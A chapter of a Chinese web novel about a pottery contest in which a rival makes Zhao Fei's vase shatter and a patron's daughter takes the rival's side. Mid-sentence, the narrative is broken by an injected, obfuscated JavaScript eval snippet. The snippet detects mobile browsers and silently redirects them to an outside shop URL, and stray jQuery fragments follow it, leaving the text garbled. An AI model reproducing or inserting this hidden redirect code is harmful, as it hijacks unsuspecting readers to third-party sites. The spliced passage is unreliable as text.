37. 摔碎

作品:《欺辱年少权臣后

    赵飞被他娘逼着报名笔试,本就惴惴不安,只想草草了事。


    却没曾想,出门就遇见邵恒这家伙。


    此人冲到他面前就是一阵冷嘲热讽,赵飞拳头都硬了。


    碍于现场都是人,赵飞垂眸冷然:“滚开,别挡路。”


    邵恒偏不动,岿然放在他面前,拔高音量故意让周围人都听见:“师弟,我是你师兄啊,怎么不认识我了?按照规矩,你应该跟我打招呼。”


    吃瓜群众看见还有这种热闹,也不由得拉长脖子偷看。


    赵飞听见周围议论纷纷,他不胜其烦:“我再说一遍,你让开。”


    “干嘛啦?好不容易遇到,大家叙叙旧呗!让我看看你画的什么?”邵恒说着,就要动手掀开托盘上的红布。


    “不要!”赵飞下意识将手摁在布上,不让他碰。


    “你紧张什么?”邵恒眯了眯眼睛,“莫非师弟你心虚不成?没关系,你画得再丑,师兄也不会说什么的!”


    他猛地加大力气去攥。


    “邵恒!你别欺人太甚!”赵飞的声音几乎从牙缝里挤出来。


    “你别见外!都是熟人,你不要藏着掖着了!”


    两个人当众拉拉扯扯,赵飞表情窘迫,邵恒却带着恶劣的笑。


    赵飞只想快速结束这场无聊的闹剧,他咬牙用力一扯。


    只听得一个娇滴滴的女声道:“好了,不要抢了,像什么样子!”


    邵恒手一松,赵飞完全没反应过来,用力过猛没收住,直接摔倒在地,端着的陶瓷飞了出去。


    在空中划出一道优美的弧线,然后重重摔在地上,瓷片碎了一地。


    “叮铃咣啷!”


    瓷片在阳光照耀下折射出刺眼的光芒。


    众人一愣,目瞪口呆望着地上的瓷片,直到有人惊叫——


    “啊!碎了!”


    “真可惜!”


    “天哪,这好不容易完成的瓷器,就没了!”


    赵飞呆若木鸡,讷讷盯着地上的瓷片,他蹲下身,试图捡起碎片,重新拼凑。


    邵恒不耐烦地啧啧两声,一脚踩在碎瓷片上,阻止他动作。


    “喂,这都碎成渣渣了,还捡什么?”


    赵飞腾得一下站起身,勃然大怒,拎着他的衣领就要揍。


    邵恒却不躲,嘴角勾起一抹笑:“怎么?众目睽睽,你要揍我?”


    赵飞注意到四周的人都惊慌失措后退几步。


    “你害我摔碎了陶瓷,你赔我你赔我!”赵飞声音夹杂着哭腔,举在半空中的拳头到底没落下去。


    邵恒矢口否认:“不是吧,明明是你自己摔碎的,找我做什么?我又不是神仙,难道还能替你修补一个出来?”


    “就是你,要不是你突然来抢我,又突然卸力,我怎么会跌倒?”


    “师弟,玩不起的话就别来,在这里撒泼算什么?”邵恒冷哼。


    这时,方才出声的女子款步从楼上下来。


    邵恒方才就是听见这女子的声音松手的,此刻他抬头见了那女子,立刻喜笑颜开迎上去:“二小姐。”


    柳芸本没有在意底下的热闹,忽然耳朵根里多了这个称呼,她不由得定睛一看。


    柳妙此刻站在邵恒面前,捂着帕子笑:“我说这边怎么这般热闹,原来是你这破皮在惹事!”


    邵恒被骂破皮也不恼,反而谄笑,上前搀扶柳妙:“可不是我在惹事,您给评评理,我方才想看师弟的作品,他不让我看,不看就不看吧,我就松手了,结果他没拿稳碎了,反倒赖我。我真是跳进黄河也洗不清了。”


    众人听见邵恒对那女子称呼,又瞧见这女子穿着不凡,心下对女子身份多有猜测。


    有人小声嘀咕:“欸,这二小姐莫非就是柳家新认的女儿?”


    “看邵恒这个态度,大差不差了!”


    “邵恒这小子好命啊,居然攀上了这样的高枝!”


    “看来这次比试的魁首已经稳了。”


    “只可惜了这个赵飞,陶瓷摔在地上,又无从辩驳。”


    ……


    赵飞也不是傻子,自然看得出情况对自己不妙,他的脸变得煞白。


    柳妙朝他走来,脸上挂着无可指摘的笑:“你就是赵飞?”


    赵飞点头,这样的大人物面前他显得有些拘谨。


    “邵恒说你诬赖他,可有此事?”


    赵飞看向邵恒,后者正瞪着他,眼含警告。


    “我……我没有诬陷他,就是他弄碎了我的作品。”赵飞心中一横,咬牙坚持自己的说法。


    柳妙闻言望向邵恒。


    邵恒跺脚,一脸无辜:“二小姐您可要为我主持公道啊,我是他同门师兄,平白无故陷害他做什么?分明是他恶人先告状!”


    “你!你胡说!”赵飞梗着脖子大叫。


    眼看两个人又要争吵起来。


    柳妙捂着头,打断:“好了,别吵了。”


    她抬眸看向赵飞:“赵飞,我方才在楼上看得清清楚楚,就是你,自己跌倒了,没拿稳瓷器,怪不得邵恒。”


    “我……”赵飞原以为她是柳家的女儿是要为他主持公道,没想到她会站在邵恒那边,他一时震惊地无以复加,不知道说什么。


    余光里看见邵恒正得意洋洋冲他做了个鬼脸。


    “不过呢,”柳妙顿了顿,一脸嗔怪,“邵恒,你这暴躁的性子收一收。”


    邵恒嬉皮笑脸,搀扶着柳妙胳膊:“知道了知道了。您说的都对。”


    “可是在场所有人都看见了,分明是他故意的!”赵飞不知哪来的勇气,指着四周的人群为自己鸣冤。


    “哦?”柳妙停下步子,理了理额边的碎发,柔声问,“那你们可有人看见是邵恒故意所为?”


    她的声音不高,但在场所有人都知道她的身份,众人都垂下头,不敢说话。


    赵飞的脸红一阵白一阵,他真是头一次感受到百口莫辩的感觉。


    “你看,没有人可以为你作证。不要执迷不悟。”柳妙道。


    邵恒经过赵飞身边的时候,压低声音,只有他们两个人能听到的音量说:“师弟,抱歉了哦,识时务者为俊杰。”


    他亦步亦趋跟在柳妙身后,抢先一步为她搬来一把太师椅,扶着她坐下。


    柳妙显然一副当家的样子。但在场的所有人都不敢抗议,毕竟她是柳家人。


    “掌柜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338960|197724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,开始投票吧。”


    柳妙瞄了垂手立在底下的掌柜一眼。


    掌柜不卑不亢:“是。”


    他拍了拍手,立刻有小伙计上前逐一将幕布掀开。


    随着一件件画好的瓷器显露出真面目,在场的每一个人不由得屏息凝神,或有看见技艺超然的作品都不由得啧啧赞叹。


    这时,包厢里的沈素忍不住暗暗吐槽:“你这妹妹,充分展现了山中无老虎猴子称大王的形象。”


    柳芸磕着瓜子儿,脸色不变。


    沈素打趣:“你不去楼下教育一下她?告诉她这陶肆到底跟谁姓?”


    柳芸目光悠悠:“不急。”


    “哇塞,你们都来看,邵恒画的这个,百鸟朝凤,每一只鸟都惟妙惟肖,画的跟真的似的!”


    “哇,真的真的,这技艺跟专业画师比起来也不遑多让!”


    “不错不错!每一处用笔都堪称完美,细节也非常到位。我支持邵恒作为魁首!”


    “我也没什么意见。”


    邵恒听见众人称赞自己作品,心中自得,微微扬起下巴,眼底翻涌着快意。


    “是不错。”柳妙打量了一眼那陶器,也忍不住赞叹。“你最近确实有长进。”


    邵恒俯身凑近柳妙,殷勤地为她捶腿:“您的夸奖真是让我受宠若惊,不知道我若是赢得了这魁首,可有什么奖励?”


    柳妙手抬起他下巴:“那你想要什么?”


    邵恒刻意压低声音,暧昧:“二小姐的一切我都想要。”


    “巧言令色。”柳妙脸一红,伸手推开他。


    “诶!你们都过来看!我发现这里还有一件更完美的作品!”有人忽然大叫。


    众人都是不信,邵恒的已经够好了,已经把百鸟朝凤的主题诠释的非常完美,怎么可能还有更好的?


    哪怕是杜师傅这样的人在这里,也得夸一句邵恒出色。


    大家以为他在夸大其词。


    “得了吧,那还有更好的?不会是你小子想博人眼球吧?”有人轰笑。


    “哎呀,我真没瞎说,你们快看!你们看了就知道。”那人急切道。


    所有人都将目光投到他指的那一个瓷瓶上。


    不看不知道,一看吓一跳。


    目光触及到那画面的时候,一切都变成了虚无。再也无心关注其他。


    “哇塞,你果然没说错,这样的作品太绝了!”


    “我活了这么多年,头一遭见到有这么画的!”


    “感觉从前做陶都是白做了。如果说邵恒的作品能展现陶匠的水准,那这个作品完全是水准之上的完美。”


    “不错,我赞同,哪怕是杜师傅恐怕也比不上了。”


    “这是何人所画?”


    “我看看!这里有署名。”


    于是有人便低头读了出来:“木…木卯…从未听说过这人的名号?”


    “长安有这样的技艺的陶匠吗?按理来说,不应该默默无闻才是?”


    “可我确实不记得长安有姓木的师傅?”


    邵恒听见众人拉踩自己的话,皱眉不悦,他全然不信有人能超过自己,他挤开人群,想看看到底是何方神圣画的陶器。